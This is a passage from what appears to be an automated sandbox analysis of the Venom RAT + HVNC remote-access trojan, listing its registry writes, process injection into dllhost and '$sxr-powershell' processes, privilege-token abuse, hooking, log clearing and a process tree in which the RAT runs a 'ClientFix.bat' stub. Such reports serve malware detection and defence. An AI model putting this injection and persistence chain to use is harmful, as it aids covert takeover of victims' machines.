\REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Downloads" Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259} Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295" Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0 Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\0\MRUListEx = 00000000ffffffff Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14" Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 0100000000000000ffffffff Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 0000000001000000ffffffff Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1" Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000 Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\0\0\0\0\NodeSlot = "2" Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\MRUListEx = ffffffff Venom RAT + HVNC.exe Set value (data) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\2 = 3a002e803accbfb42cdb4c42b0297fe99a87c641260001002600efbe11000000b59f5d3fdd4bdb01e4d62f55e34bdb01803a3255e34bdb0114000000 Venom RAT + HVNC.exe Key created \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4 Venom RAT + HVNC.exe Set value (int) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" Venom RAT + HVNC.exe Set value (str) \REGISTRY\USER\S-1-5-21-3506525125-3566313221-3651816328-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" Venom RAT + HVNC.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 5956 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4868 ClientFix.bat.exe 4868 ClientFix.bat.exe 4868 ClientFix.bat.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 1108 dllhost.exe 4868 ClientFix.bat.exe 4868 ClientFix.bat.exe 1200 $sxr-powershell.exe 1200 $sxr-powershell.exe 1200 $sxr-powershell.exe 740 dllhost.exe 740 dllhost.exe 740 dllhost.exe 740 dllhost.exe 1200 $sxr-powershell.exe 1200 $sxr-powershell.exe 3176 $sxr-powershell.exe 3176 $sxr-powershell.exe 3176 $sxr-powershell.exe 3176 $sxr-powershell.exe 2100 $sxr-powershell.exe 2100 $sxr-powershell.exe 2100 $sxr-powershell.exe 1164 $sxr-powershell.exe 1164 $sxr-powershell.exe 2100 $sxr-powershell.exe 2100 $sxr-powershell.exe 1164 $sxr-powershell.exe 1164 $sxr-powershell.exe 1164 $sxr-powershell.exe 2000 $sxr-powershell.exe 2000 $sxr-powershell.exe 2000 $sxr-powershell.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 3928 $sxr-powershell.exe 3928 $sxr-powershell.exe 2000 $sxr-powershell.exe 2000 $sxr-powershell.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 3928 $sxr-powershell.exe 3928 $sxr-powershell.exe 3928 $sxr-powershell.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 5032 $sxr-powershell.exe 5032 $sxr-powershell.exe 4724 $sxr-powershell.exe 4724 $sxr-powershell.exe 4724 $sxr-powershell.exe 5032 $sxr-powershell.exe 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 4444 Venom RAT + HVNC.exe 3564 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4444 Venom RAT + HVNC.exe Token: SeDebugPrivilege 4868 ClientFix.bat.exe Token: SeDebugPrivilege 4868 ClientFix.bat.exe Token: SeDebugPrivilege 1108 dllhost.exe Token: SeDebugPrivilege 1200 $sxr-powershell.exe Token: SeDebugPrivilege 1200 $sxr-powershell.exe Token: SeDebugPrivilege 740 dllhost.exe Token: SeDebugPrivilege 3176 $sxr-powershell.exe Token: SeDebugPrivilege 2100 $sxr-powershell.exe Token: SeDebugPrivilege 1164 $sxr-powershell.exe Token: SeDebugPrivilege 2000 $sxr-powershell.exe Token: SeDebugPrivilege 3928 $sxr-powershell.exe Token: SeDebugPrivilege 5032 $sxr-powershell.exe Token: SeDebugPrivilege 4724 $sxr-powershell.exe Token: SeDebugPrivilege 4564 $sxr-powershell.exe Token: SeDebugPrivilege 3264 $sxr-powershell.exe Token: SeDebugPrivilege 5088 $sxr-powershell.exe Token: SeDebugPrivilege 1200 $sxr-powershell.exe Token: SeDebugPrivilege 520 dllhost.exe Token: SeDebugPrivilege 1200 $sxr-powershell.exe Token: SeDebugPrivilege 4648 dllhost.exe Token: SeDebugPrivilege 2100 $sxr-powershell.exe Token: SeDebugPrivilege 4724 $sxr-powershell.exe Token: SeDebugPrivilege 1428 dllhost.exe Token: SeDebugPrivilege 3264 $sxr-powershell.exe Token: SeDebugPrivilege 4564 $sxr-powershell.exe Token: SeDebugPrivilege 740 dllhost.exe Token: SeDebugPrivilege 4304 dllhost.exe Token: SeDebugPrivilege 3864 dllhost.exe Token: SeDebugPrivilege 1164 $sxr-powershell.exe Token: SeDebugPrivilege 5088 $sxr-powershell.exe Token: SeDebugPrivilege 5184 dllhost.exe Token: SeDebugPrivilege 5212 dllhost.exe Token: SeDebugPrivilege 3176 $sxr-powershell.exe Token: SeDebugPrivilege 2000 $sxr-powershell.exe Token: SeDebugPrivilege 3928 $sxr-powershell.exe Token: SeDebugPrivilege 5264 dllhost.exe Token: SeDebugPrivilege 5032 $sxr-powershell.exe Token: SeDebugPrivilege 5292 dllhost.exe Token: SeDebugPrivilege 5300 dllhost.exe Token: SeDebugPrivilege 5328 dllhost.exe Token: SeDebugPrivilege 5404 $sxr-powershell.exe Token: SeDebugPrivilege 5532 $sxr-powershell.exe Token: SeDebugPrivilege 5648 $sxr-powershell.exe Token: SeDebugPrivilege 5764 $sxr-powershell.exe Token: SeDebugPrivilege 5876 $sxr-powershell.exe Token: SeDebugPrivilege 5992 $sxr-powershell.exe Token: SeDebugPrivilege 6108 $sxr-powershell.exe Token: SeDebugPrivilege 5336 $sxr-powershell.exe Token: SeDebugPrivilege 3352 $sxr-powershell.exe Token: SeDebugPrivilege 5276 $sxr-powershell.exe Token: SeDebugPrivilege 2100 $sxr-powershell.exe Token: SeDebugPrivilege 4884 dllhost.exe Token: SeDebugPrivilege 2100 $sxr-powershell.exe Token: SeDebugPrivilege 1920 dllhost.exe Token: SeShutdownPrivilege 3564 Explorer.EXE Token: SeCreatePagefilePrivilege 3564 Explorer.EXE Token: SeShutdownPrivilege 3564 Explorer.EXE Token: SeCreatePagefilePrivilege 3564 Explorer.EXE Token: SeShutdownPrivilege 3564 Explorer.EXE Token: SeCreatePagefilePrivilege 3564 Explorer.EXE Token: SeShutdownPrivilege 3564 Explorer.EXE Token: SeCreatePagefilePrivilege 3564 Explorer.EXE Token: SeShutdownPrivilege 3564 Explorer.EXE -
Suspicious use of FindShellTrayWindow 8 IoCs
pid Process 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 3564 Explorer.EXE 4944 RuntimeBroker.exe 4444 Venom RAT + HVNC.exe 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE 3564 Explorer.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4444 Venom RAT + HVNC.exe 4444 Venom RAT + HVNC.exe 1200 $sxr-powershell.exe 2100 $sxr-powershell.exe 4444 Venom RAT + HVNC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4444 wrote to memory of 816 4444 Venom RAT + HVNC.exe 89 PID 4444 wrote to memory of 816 4444 Venom RAT + HVNC.exe 89 PID 816 wrote to memory of 4868 816 cmd.exe 91 PID 816 wrote to memory of 4868 816 cmd.exe 91 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1108 4868 ClientFix.bat.exe 92 PID 4868 wrote to memory of 1200 4868 ClientFix.bat.exe 93 PID 4868 wrote to memory of 1200 4868 ClientFix.bat.exe 93 PID 1200 wrote to memory of 740 1200 $sxr-powershell.exe 94 PID 1200 wrote to memory of 740 1200 $sxr-powershell.exe 94 PID 1200 wrote to memory of 740 1200 $sxr-powershell.exe 94 PID 1200 wrote to memory of 740 1200 $sxr-powershell.exe 94 PID 1200 wrote to memory of 740 1200 $sxr-powershell.exe 94 PID 1200 wrote to memory of 740 1200 $sxr-powershell.exe 94 PID 1200 wrote to memory of 740 1200 $sxr-powershell.exe 94 PID 1200 wrote to memory of 3176 1200 $sxr-powershell.exe 95 PID 1200 wrote to memory of 3176 1200 $sxr-powershell.exe 95 PID 1200 wrote to memory of 2100 1200 $sxr-powershell.exe 96 PID 1200 wrote to memory of 2100 1200 $sxr-powershell.exe 96 PID 1200 wrote to memory of 1164 1200 $sxr-powershell.exe 97 PID 1200 wrote to memory of 1164 1200 $sxr-powershell.exe 97 PID 1200 wrote to memory of 2000 1200 $sxr-powershell.exe 98 PID 1200 wrote to memory of 2000 1200 $sxr-powershell.exe 98 PID 1200 wrote to memory of 3928 1200 $sxr-powershell.exe 99 PID 1200 wrote to memory of 3928 1200 $sxr-powershell.exe 99 PID 1200 wrote to memory of 4724 1200 $sxr-powershell.exe 101 PID 1200 wrote to memory of 4724 1200 $sxr-powershell.exe 101 PID 1200 wrote to memory of 5032 1200 $sxr-powershell.exe 102 PID 1200 wrote to memory of 5032 1200 $sxr-powershell.exe 102 PID 1200 wrote to memory of 4564 1200 $sxr-powershell.exe 104 PID 1200 wrote to memory of 4564 1200 $sxr-powershell.exe 104 PID 1200 wrote to memory of 3264 1200 $sxr-powershell.exe 105 PID 1200 wrote to memory of 3264 1200 $sxr-powershell.exe 105 PID 1200 wrote to memory of 5088 1200 $sxr-powershell.exe 106 PID 1200 wrote to memory of 5088 1200 $sxr-powershell.exe 106 PID 1200 wrote to memory of 520 1200 $sxr-powershell.exe 107 PID 1200 wrote to memory of 520 1200 $sxr-powershell.exe 107 PID 1200 wrote to memory of 520 1200 $sxr-powershell.exe 107 PID 1200 wrote to memory of 520 1200 $sxr-powershell.exe 107 PID 1200 wrote to memory of 520 1200 $sxr-powershell.exe 107 PID 1200 wrote to memory of 520 1200 $sxr-powershell.exe 107 PID 1200 wrote to memory of 520 1200 $sxr-powershell.exe 107 PID 1200 wrote to memory of 520 1200 $sxr-powershell.exe 107 PID 1200 wrote to memory of 520 1200 $sxr-powershell.exe 107 PID 1200 wrote to memory of 4648 1200 $sxr-powershell.exe 108 PID 1200 wrote to memory of 4648 1200 $sxr-powershell.exe 108 PID 1200 wrote to memory of 4648 1200 $sxr-powershell.exe 108 PID 1200 wrote to memory of 4648 1200 $sxr-powershell.exe 108 PID 1200 wrote to memory of 4648 1200 $sxr-powershell.exe 108 PID 1200 wrote to memory of 4648 1200 $sxr-powershell.exe 108 PID 1200 wrote to memory of 4648 1200 $sxr-powershell.exe 108 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2856 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:624
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1136
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{888903ce-d487-4c48-b852-959c65092ada}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1108
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4ba98a99-b161-41a9-88b4-d08a00caa83d}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:740
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f6a75cb2-c623-4257-a929-c36b5486e3a7}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:520
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1e9fbac8-fbe6-4d40-ae76-3a09cf8a49ae}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4648
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{fdf9863d-a82f-4c81-b5b1-8ee840f5a36a}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1428
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8994e9bd-61c3-41c7-a30e-c0488187cb18}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:740
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e5b31b42-5540-466a-8153-a7ef69ec3fe7}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4304
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d2a93ec9-09bc-4159-bfa0-1e391d6db6a7}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3864
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{dc65c5cd-b2c9-4ad9-8daa-e2a3996465a4}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5184
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0cfc799f-c60f-4658-b2d5-9e91cdca86ea}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5212
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1f1a6315-aad5-4438-874d-74d8a34f3703}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5264
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2c1cc369-3bf8-4da0-90c9-8e2e9072ac9c}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5292
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{cc3a1be5-ddd0-4113-81bc-127deb64b6e9}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5300
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6b8aa2f1-ac81-46d9-92e7-98d60cfec7d7}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5328
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c0416aa1-af90-4856-97e6-546d52cee9ba}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4884
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6475a628-4bf9-4439-9942-a584c80ff022}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1920
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bf64adee-3fca-43a7-a48c-a709dba79d11}2⤵PID:6424
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{997754c9-7801-4450-acd6-a4f0e558ccd3}2⤵PID:6444
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8765ed8a-2622-47a3-92b3-d6d4496bcec0}2⤵PID:6564
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6a82c38b-db69-4ac0-bfe9-b7e0f1e92246}2⤵PID:6652
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c915c86d-9530-4b87-a456-6930e1494437}2⤵PID:6676
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c2e1f64e-4879-49e5-a1eb-7b439506d379}2⤵PID:6788
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8a9de8df-bd88-4d85-8e1f-91f8c74b0d02}2⤵PID:6804
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{77c83c3c-6354-4660-94f7-87fc38072db0}2⤵PID:6892
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ac9e1b21-c818-4cf1-a233-4f7d791bbd72}2⤵PID:6916
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1dfe6016-df48-4c7d-8d7f-1f570e371e1d}2⤵PID:6980
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ec6e7320-3d8f-49ed-bdc3-b55f8a0dc02c}2⤵PID:7004
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4e48957f-edc6-4083-a436-5fa52b03d28b}2⤵PID:5384
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:972
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:444
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:880
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1060
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1144
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1292
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1304
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1364 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1608
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1616
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1656
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1912
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1976
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2028
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2056
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2472
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2512
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2588
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:940
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3468
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3564 -
C:\Users\Admin\AppData\Local\Temp\VenomRAT-V5.6-HVNC\Venom RAT + HVNC.exe"C:\Users\Admin\AppData\Local\Temp\VenomRAT-V5.6-HVNC\Venom RAT + HVNC.exe"2⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:816 -
